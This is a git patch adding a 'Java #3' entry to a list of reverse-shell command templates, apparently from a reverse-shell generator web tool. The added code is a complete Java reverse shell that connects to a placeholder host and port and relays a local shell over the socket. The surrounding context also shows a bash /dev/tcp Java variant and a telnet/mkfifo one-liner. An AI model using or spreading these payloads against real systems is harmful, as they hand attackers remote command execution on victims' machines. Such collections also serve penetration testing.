From b64401b980c44374ce6de3513aaad0c5dc173fd1 Mon Sep 17 00:00:00 2001 From: Adam Bertrand Date: Tue, 21 Sep 2021 13:43:56 +0200 Subject: [PATCH] Add a new java shell --- js/data.js | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/js/data.js b/js/data.js index 8420a63..9e69f02 100644 --- a/js/data.js +++ b/js/data.js @@ -258,6 +258,11 @@ const reverseShellCommands = withCommandType( "command": "public class shell {\n public static void main(String[] args) {\n ProcessBuilder pb = new ProcessBuilder(\"bash\", \"-c\", \"$@| bash -i >& /dev/tcp/{ip}/{port} 0>&1\")\n .redirectErrorStream(true);\n try {\n Process p = pb.start();\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", "meta": ["linux", "mac"] }, + { + "name": "Java #3", + "command": "import java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.Socket;\n\npublic class shell {\n public static void main(String[] args) {\n String host = \"{ip}\";\n int port = {port};\n String cmd = \"{shell}\";\n try {\n Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();\n Socket s = new Socket(host, port);\n InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();\n OutputStream po = p.getOutputStream(), so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0)\n so.write(pi.read());\n while (pe.available() > 0)\n so.write(pe.read());\n while (si.available() > 0)\n po.write(si.read());\n so.flush();\n po.flush();\n Thread.sleep(50);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {}\n }\n p.destroy();\n s.close();\n } catch (Exception e) {}\n }\n}", + "meta": ["windows", "linux", "mac"] + }, { "name": "telnet", "command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF",